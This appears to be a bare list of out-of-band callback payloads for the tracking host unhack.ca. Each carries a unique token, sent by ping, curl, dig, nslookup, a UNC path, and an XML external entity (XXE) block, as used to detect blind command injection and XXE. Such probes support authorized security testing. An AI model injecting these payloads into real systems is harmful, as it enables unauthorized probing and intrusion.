$ ping -c1 -p 00586eaf0953cf63dbaf1c79b103ad00 unhack.ca
 

$ curl http://unhack.ca/p/586eaf0953cf63dbaf1c79b103ad
 

$ dig 586eaf0953cf63dbaf1c79b103ad @unhack.ca
 

$ dig 586eaf0953cf63dbaf1c79b103ad.ns.unhack.ca
 

C:\> nslookup 586eaf0953cf63dbaf1c79b103ad unhack.ca
 

C:\> type \\unhack.ca\586eaf0953cf63dbaf1c79b103ad\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/586eaf0953cf63dbaf1c79b103ad">]>
    <foo>&xxe;</foo>